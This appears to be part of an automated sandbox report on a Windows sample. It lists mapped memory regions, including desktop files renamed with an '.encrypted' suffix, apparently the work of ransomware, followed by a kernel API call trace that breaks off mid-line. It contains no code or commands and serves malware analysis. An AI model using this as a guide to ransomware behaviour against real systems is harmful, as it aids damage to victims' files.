0x0 region_type = private name = "private_0x0000000005150000" filename = "" Region: id = 7760 start_va = 0x51a0000 end_va = 0x51a3fff entry_point = 0x0 region_type = private name = "private_0x00000000051a0000" filename = "" Region: id = 7761 start_va = 0xff60000 end_va = 0x100bffff entry_point = 0x0 region_type = private name = "private_0x000000000ff60000" filename = "" Region: id = 7762 start_va = 0x51b0000 end_va = 0x51b6fff entry_point = 0x51b0000 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 7763 start_va = 0x51d0000 end_va = 0x51d3fff entry_point = 0x51d0000 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 7764 start_va = 0x5300000 end_va = 0x5316fff entry_point = 0x5300000 region_type = mapped_file name = "k9uoo8fw7r.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k9uoo8fw7r.encrypted.jpg") Region: id = 7765 start_va = 0xff60000 end_va = 0xffdffff entry_point = 0x0 region_type = private name = "private_0x000000000ff60000" filename = "" Region: id = 7766 start_va = 0x100b0000 end_va = 0x100bffff entry_point = 0x0 region_type = private name = "private_0x00000000100b0000" filename = "" Region: id = 7767 start_va = 0x7ff64046c000 end_va = 0x7ff64046dfff entry_point = 0x0 region_type = private name = "private_0x00007ff64046c000" filename = "" Region: id = 7768 start_va = 0x5300000 end_va = 0x5315fff entry_point = 0x5300000 region_type = mapped_file name = "kqg5xtni4dupero o1m.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\kqg5xtni4dupero o1m.encrypted.jpg") Region: id = 7769 start_va = 0x5300000 end_va = 0x5303fff entry_point = 0x5300000 region_type = mapped_file name = "ostre2ekexrlom6.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ostre2ekexrlom6.encrypted.jpg") Region: id = 7770 start_va = 0x51b0000 end_va = 0x51b3fff entry_point = 0x51b0000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 7771 start_va = 0x100c0000 end_va = 0x101bffff entry_point = 0x100c0000 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 7772 start_va = 0x51d0000 end_va = 0x51d0fff entry_point = 0x51d0000 region_type = mapped_file name = "adobe reader xi.lnk" filename = "\\Users\\Public\\Desktop\\Adobe Reader XI.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader xi.lnk") Region: id = 7774 start_va = 0x51d0000 end_va = 0x51d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000051d0000" filename = "" Region: id = 7775 start_va = 0x101c0000 end_va = 0x1030dfff entry_point = 0x101c0000 region_type = mapped_file name = "acrord32.exe" filename = "\\Program Files (x86)\\Adobe\\Reader 11.0\\Reader\\AcroRd32.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 11.0\\reader\\acrord32.exe") Region: id = 7778 start_va = 0x53e0000 end_va = 0x5427fff entry_point = 0x53e0000 region_type = mapped_file name = "sc_reader.ico" filename = "\\Windows\\Installer\\{AC76BA86-7AD7-FFFF-7B44-AB0000000001}\\SC_Reader.ico" (normalized: "c:\\windows\\installer\\{ac76ba86-7ad7-ffff-7b44-ab0000000001}\\sc_reader.ico") Region: id = 7779 start_va = 0x53e0000 end_va = 0x5427fff entry_point = 0x53e0000 region_type = mapped_file name = "sc_reader.ico" filename = "\\Windows\\Installer\\{AC76BA86-7AD7-FFFF-7B44-AB0000000001}\\SC_Reader.ico" (normalized: "c:\\windows\\installer\\{ac76ba86-7ad7-ffff-7b44-ab0000000001}\\sc_reader.ico") Region: id = 7780 start_va = 0x5300000 end_va = 0x5316fff entry_point = 0x5300000 region_type = mapped_file name = "k9uoo8fw7r.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k9uoo8fw7r.encrypted.jpg") Region: id = 7781 start_va = 0x5300000 end_va = 0x5315fff entry_point = 0x5300000 region_type = mapped_file name = "kqg5xtni4dupero o1m.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\kqg5xtni4dupero o1m.encrypted.jpg") Region: id = 7782 start_va = 0x51d0000 end_va = 0x51d3fff entry_point = 0x51d0000 region_type = mapped_file name = "ostre2ekexrlom6.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ostre2ekexrlom6.encrypted.jpg") Region: id = 7783 start_va = 0x101c0000 end_va = 0x102bffff entry_point = 0x101c0000 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 7784 start_va = 0xff60000 end_va = 0x1001ffff entry_point = 0x0 region_type = private name = "private_0x000000000ff60000" filename = "" Region: id = 7785 start_va = 0x51d0000 end_va = 0x51d0fff entry_point = 0x51d0000 region_type = mapped_file name = "adobe reader xi.lnk" filename = "\\Users\\Public\\Desktop\\Adobe Reader XI.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader xi.lnk") Region: id = 7786 start_va = 0xff60000 end_va = 0xffdffff entry_point = 0x0 region_type = private name = "private_0x000000000ff60000" filename = "" Region: id = 7787 start_va = 0x10010000 end_va = 0x1001ffff entry_point = 0x0 region_type = private name = "private_0x0000000010010000" filename = "" Region: id = 7788 start_va = 0x7ff64046c000 end_va = 0x7ff64046dfff entry_point = 0x0 region_type = private name = "private_0x00007ff64046c000" filename = "" Region: id = 7789 start_va = 0x102c0000 end_va = 0x103bffff entry_point = 0x102c0000 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 7790 start_va = 0x51d0000 end_va = 0x51d0fff entry_point = 0x51d0000 region_type = mapped_file name = "google chrome.lnk" filename = "\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk") Region: id = 7791 start_va = 0x10460000 end_va = 0x1061ffff entry_point = 0x0 region_type = private name = "private_0x0000000010460000" filename = "" Region: id = 7792 start_va = 0x51d0000 end_va = 0x51d0fff entry_point = 0x51d0000 region_type = mapped_file name = "mozilla firefox.lnk" filename = "\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk") Region: id = 7793 start_va = 0xff60000 end_va = 0xffdffff entry_point = 0x0 region_type = private name = "private_0x000000000ff60000" filename = "" Region: id = 7794 start_va = 0x7ff64046c000 end_va = 0x7ff64046dfff entry_point = 0x0 region_type = private name = "private_0x00007ff64046c000" filename = "" Region: id = 7795 start_va = 0x7ffd11890000 end_va = 0x7ffd11974fff entry_point = 0x7ffd11890000 region_type = mapped_file name = "msoshext.dll" filename = "\\Program Files\\Common Files\\microsoft shared\\OFFICE15\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office15\\msoshext.dll") Region: id = 7796 start_va = 0x51d0000 end_va = 0x51d8fff entry_point = 0x0 region_type = private name = "private_0x00000000051d0000" filename = "" Region: id = 7797 start_va = 0xff60000 end_va = 0x1005ffff entry_point = 0xff60000 region_type = mapped_file name = "iconcache_32.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_32.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_32.db") Region: id = 7798 start_va = 0x5300000 end_va = 0x531ffff entry_point = 0x5300000 region_type = mapped_file name = "iconcache_32.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_32.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_32.db") Region: id = 7799 start_va = 0x7ffd11800000 end_va = 0x7ffd11885fff entry_point = 0x7ffd11800000 region_type = mapped_file name = "windows.ui.dll" filename = "\\Windows\\System32\\Windows.UI.dll" (normalized: "c:\\windows\\system32\\windows.ui.dll") Region: id = 7800 start_va = 0x7ffd11790000 end_va = 0x7ffd117f1fff entry_point = 0x7ffd117910a0 region_type = mapped_file name = "ninput.dll" filename = "\\Windows\\System32\\ninput.dll" (normalized: "c:\\windows\\system32\\ninput.dll") Region: id = 7801 start_va = 0x10460000 end_va = 0x1057ffff entry_point = 0x0 region_type = private name = "private_0x0000000010460000" filename = "" Region: id = 7802 start_va = 0x51d0000 end_va = 0x51ddfff entry_point = 0x51d0000 region_type = mapped_file name = "4ghbrlq-jktwuq.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\4ghbrlq-jktwuq.encrypted.bmp") Region: id = 7803 start_va = 0x10460000 end_va = 0x104dffff entry_point = 0x0 region_type = private name = "private_0x0000000010460000" filename = "" Region: id = 7804 start_va = 0x10570000 end_va = 0x1057ffff entry_point = 0x0 region_type = private name = "private_0x0000000010570000" filename = "" Region: id = 7805 start_va = 0x7ff64046c000 end_va = 0x7ff64046dfff entry_point = 0x0 region_type = private name = "private_0x00007ff64046c000" filename = "" Region: id = 7807 start_va = 0x5320000 end_va = 0x5320fff entry_point = 0x5320000 region_type = mapped_file name = "mozilla firefox.lnk" filename = "\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk") Region: id = 7808 start_va = 0x51d0000 end_va = 0x51d5fff entry_point = 0x51d0000 region_type = mapped_file name = "7tly.encrypted.png" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\7tly.encrypted.png") Region: id = 7810 start_va = 0x51d0000 end_va = 0x51d9fff entry_point = 0x51d0000 region_type = mapped_file name = "b1drbf6bjih2t5r.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\b1drbf6bjih2t5r.encrypted.bmp") Region: id = 7812 start_va = 0x10460000 end_va = 0x107f7fff entry_point = 0x10460000 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\apppatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 7814 start_va = 0x5320000 end_va = 0x5337fff entry_point = 0x5320000 region_type = mapped_file name = "djg5lkzha.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\djg5lkzha.encrypted.bmp") Region: id = 7815 start_va = 0x53e0000 end_va = 0x5423fff entry_point = 0x53e0000 region_type = mapped_file name = "firefox.exe" filename = "\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\firefox.exe") Region: id = 7817 start_va = 0x51d0000 end_va = 0x51d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000051d0000" filename = "" Region: id = 7818 start_va = 0x51d0000 end_va = 0x51d0fff entry_point = 0x51d0000 region_type = mapped_file name = "google chrome.lnk" filename = "\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk") Region: id = 7820 start_va = 0x51d0000 end_va = 0x51d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000051d0000" filename = "" Region: id = 7821 start_va = 0x10460000 end_va = 0x1057efff entry_point = 0x10460000 region_type = mapped_file name = "chrome.exe" filename = "\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe") Region: id = 7825 start_va = 0x50c0000 end_va = 0x50d6fff entry_point = 0x50c0000 region_type = mapped_file name = "k9uoo8fw7r.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k9uoo8fw7r.encrypted.jpg") Region: id = 7827 start_va = 0x50c0000 end_va = 0x50c2fff entry_point = 0x0 region_type = private name = "private_0x00000000050c0000" filename = "" Region: id = 7828 start_va = 0x50d0000 end_va = 0x50e5fff entry_point = 0x50d0000 region_type = mapped_file name = "kqg5xtni4dupero o1m.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\kqg5xtni4dupero o1m.encrypted.jpg") Region: id = 7831 start_va = 0x50c0000 end_va = 0x50c3fff entry_point = 0x0 region_type = private name = "private_0x00000000050c0000" filename = "" Region: id = 7832 start_va = 0x50d0000 end_va = 0x50d3fff entry_point = 0x50d0000 region_type = mapped_file name = "ostre2ekexrlom6.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ostre2ekexrlom6.encrypted.jpg") Region: id = 7834 start_va = 0x50d0000 end_va = 0x50d6fff entry_point = 0x50d0000 region_type = mapped_file name = "uk 6ek_ge.encrypted.png" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\uk 6ek_ge.encrypted.png") Region: id = 7953 start_va = 0x3190000 end_va = 0x31c0fff entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 7954 start_va = 0x10460000 end_va = 0x104dffff entry_point = 0x0 region_type = private name = "private_0x0000000010460000" filename = "" Region: id = 7955 start_va = 0x7ff64046c000 end_va = 0x7ff64046dfff entry_point = 0x0 region_type = private name = "private_0x00007ff64046c000" filename = "" Region: id = 8224 start_va = 0x3190000 end_va = 0x31c1fff entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 8225 start_va = 0x31d0000 end_va = 0x31d2fff entry_point = 0x0 region_type = private name = "private_0x00000000031d0000" filename = "" Region: id = 8226 start_va = 0xe710000 end_va = 0xec01fff entry_point = 0x0 region_type = private name = "private_0x000000000e710000" filename = "" Region: id = 9087 start_va = 0x3110000 end_va = 0x3112fff entry_point = 0x0 region_type = private name = "private_0x0000000003110000" filename = "" Region: id = 9088 start_va = 0x7ffd17900000 end_va = 0x7ffd17908fff entry_point = 0x7ffd17901da8 region_type = mapped_file name = "bitsprx6.dll" filename = "\\Windows\\System32\\bitsprx6.dll" (normalized: "c:\\windows\\system32\\bitsprx6.dll") Region: id = 9089 start_va = 0x3120000 end_va = 0x312efff entry_point = 0x3120000 region_type = mapped_file name = "aaph4da[3].jpg" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Notifications\\3ef54ae93acb11e78251b4475e61765c\\AApH4dA[3].jpg" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\notifications\\3ef54ae93acb11e78251b4475e61765c\\aaph4da[3].jpg") Region: id = 9351 start_va = 0x3130000 end_va = 0x3145fff entry_point = 0x0 region_type = private name = "private_0x0000000003130000" filename = "" Region: id = 9352 start_va = 0x7ffd120a0000 end_va = 0x7ffd120a8fff entry_point = 0x7ffd120a0000 region_type = mapped_file name = "ploptin.dll" filename = "\\Windows\\System32\\ploptin.dll" (normalized: "c:\\windows\\system32\\ploptin.dll") Region: id = 9357 start_va = 0x3120000 end_va = 0x3121fff entry_point = 0x3120000 region_type = mapped_file name = "aaphss5[1].jpg" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Notifications\\3ef54ae93acb11e78251b4475e61765c\\AApHSs5[1].jpg" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\notifications\\3ef54ae93acb11e78251b4475e61765c\\aaphss5[1].jpg") Region: id = 10612 start_va = 0x3150000 end_va = 0x317dfff entry_point = 0x0 region_type = private name = "private_0x0000000003150000" filename = "" Region: id = 10835 start_va = 0x3110000 end_va = 0x3119fff entry_point = 0x0 region_type = private name = "private_0x0000000003110000" filename = "" Region: id = 10836 start_va = 0x7ff640490000 end_va = 0x7ff640490fff entry_point = 0x0 region_type = private name = "private_0x00007ff640490000" filename = "" Region: id = 10837 start_va = 0x3180000 end_va = 0x31fffff entry_point = 0x0 region_type = private name = "private_0x0000000003180000" filename = "" Region: id = 10838 start_va = 0x7ff640410000 end_va = 0x7ff640410fff entry_point = 0x0 region_type = private name = "private_0x00007ff640410000" filename = "" Region: id = 10839 start_va = 0x7ff6405d9000 end_va = 0x7ff6405dafff entry_point = 0x0 region_type = private name = "private_0x00007ff6405d9000" filename = "" Region: id = 10840 start_va = 0x3290000 end_va = 0x330ffff entry_point = 0x0 region_type = private name = "private_0x0000000003290000" filename = "" Region: id = 10841 start_va = 0x7ff6405d7000 end_va = 0x7ff6405d8fff entry_point = 0x0 region_type = private name = "private_0x00007ff6405d7000" filename = "" Region: id = 10842 start_va = 0x7ff640490000 end_va = 0x7ff640490fff entry_point = 0x0 region_type = private name = "private_0x00007ff640490000" filename = "" Region: id = 10843 start_va = 0x7ffd11370000 end_va = 0x7ffd1139bfff entry_point = 0x7ffd11370000 region_type = mapped_file name = "wscinterop.dll" filename = "\\Windows\\System32\\wscinterop.dll" (normalized: "c:\\windows\\system32\\wscinterop.dll") Region: id = 10844 start_va = 0x7ffd11340000 end_va = 0x7ffd1136dfff entry_point = 0x7ffd11340000 region_type = mapped_file name = "wscapi.dll" filename = "\\Windows\\System32\\wscapi.dll" (normalized: "c:\\windows\\system32\\wscapi.dll") Region: id = 10845 start_va = 0x7ffd11220000 end_va = 0x7ffd1133dfff entry_point = 0x7ffd11220000 region_type = mapped_file name = "wscui.cpl" filename = "\\Windows\\System32\\wscui.cpl" (normalized: "c:\\windows\\system32\\wscui.cpl") Region: id = 10848 start_va = 0x3110000 end_va = 0x3111fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003110000" filename = "" Region: id = 10850 start_va = 0x3120000 end_va = 0x3122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003120000" filename = "" Region: id = 10851 start_va = 0x3180000 end_va = 0x31fffff entry_point = 0x0 region_type = private name = "private_0x0000000003180000" filename = "" Region: id = 10852 start_va = 0x7ff6405d9000 end_va = 0x7ff6405dafff entry_point = 0x0 region_type = private name = "private_0x00007ff6405d9000" filename = "" Region: id = 10853 start_va = 0x7ffd1b9e0000 end_va = 0x7ffd1b9e8fff entry_point = 0x7ffd1b9e2258 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 10854 start_va = 0x7ffd110f0000 end_va = 0x7ffd1121efff entry_point = 0x7ffd110f0000 region_type = mapped_file name = "werconcpl.dll" filename = "\\Windows\\System32\\werconcpl.dll" (normalized: "c:\\windows\\system32\\werconcpl.dll") Region: id = 10855 start_va = 0x7ffd13070000 end_va = 0x7ffd130f2fff entry_point = 0x7ffd13071144 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 10856 start_va = 0x7ffd110a0000 end_va = 0x7ffd110ecfff entry_point = 0x7ffd110a0000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 10857 start_va = 0x7ffd11080000 end_va = 0x7ffd11097fff entry_point = 0x7ffd11080000 region_type = mapped_file name = "wercplsupport.dll" filename = "\\Windows\\System32\\wercplsupport.dll" (normalized: "c:\\windows\\system32\\wercplsupport.dll") Region: id = 10858 start_va = 0x5200000 end_va = 0x531ffff entry_point = 0x0 region_type = private name = "private_0x0000000005200000" filename = "" Region: id = 10859 start_va = 0x7ffd11070000 end_va = 0x7ffd1107cfff entry_point = 0x7ffd11070000 region_type = mapped_file name = "hcproviders.dll" filename = "\\Windows\\System32\\hcproviders.dll" (normalized: "c:\\windows\\system32\\hcproviders.dll") Region: id = 10861 start_va = 0x3200000 end_va = 0x3201fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003200000" filename = "" Thread: id = 411 os_tid = 0x41c [0083.443] EngAllocMem () returned 0xfffff9014241f530 [0083.443] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.443] MmMapViewOfSection (in: SectionObject=0xffffc0000167abc0, Process=0xffffe000011ff900, BaseAddress=0xfffff9014241f858*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00020e4fed0, ViewSize=0xfffff9014241f870, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014241f858*=0x4ba0000, SectionOffset=0xffffd00020e4fed0, ViewSize=0xfffff9014241f870) returned 0x0 [0083.443] EngCreateBitmap () returned 0x1050655 [0083.443] EngAssociateSurface () returned 0x1 [0083.443] EngLockSurface () returned 0xfffff901409fd378 [0083.443] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000128f180 [0083.443] KeInitializeEvent (in: Event=0xffffe0000128f198, Type=0x1, State=0 | out: Event=0xffffe0000128f198) [0083.538] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0083.556] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.556] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0083.556] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.557] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0083.557] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.953] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0083.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.955] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0083.955] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0083.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.980] IoGetCurrentProcess () returned 0xffffe000011ff900 [0083.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0083.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0084.170] IoGetCurrentProcess () returned 0xffffe000011ff900 [0084.170] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0084.170] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0084.170] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0091.738] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.738] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0091.739] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.739] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.739] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.741] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.741] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.741] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.922] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.922] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0091.924] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.924] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.924] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.926] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.928] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.932] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.932] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.932] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.942] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.953] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.956] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.964] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.964] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.964] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.966] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.967] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.969] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.011] IoGetCurrentProcess () returned 0xffffe000011ff900 [0092.011] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.011] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.048] 